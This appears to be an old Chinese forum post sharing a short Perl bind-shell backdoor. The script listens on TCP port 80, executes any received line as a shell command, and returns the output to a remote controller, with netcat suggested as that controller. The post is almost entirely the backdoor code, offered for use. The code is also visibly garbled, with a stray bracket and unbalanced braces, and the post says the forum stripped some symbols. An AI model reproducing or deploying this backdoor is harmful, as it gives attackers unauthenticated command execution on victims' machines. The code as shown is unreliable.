下面是一段很“短”的代码，是客户端的，他打开一个断口监听并执行远程发出的命令，将结果返回给远程的控制端。（远程的控制端推荐使用netcat）
PS：这个论坛过滤符号!
#
# by Locust 2002/in china
# icq:46741881
#!/usr/bin/perl
use IO::Socket;
my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' , 'LocalPort'=>80 , 'Listen'=>1 , 'Proto'=>'tcp' , 'Reuse'=>1 );
die "Reason: $!" unless $socket;
while (my $new_socket = $socket->accept() ) {
while (my $buffer=<$new_socket>) {
if ($buffer) {exit if ($buffer=~m/exit/);
$res_msg=`$buffer`;$res_msg="error command!!\n" if (!$res_msg);
print $new_socket $res_msg."\n";]}
|
|
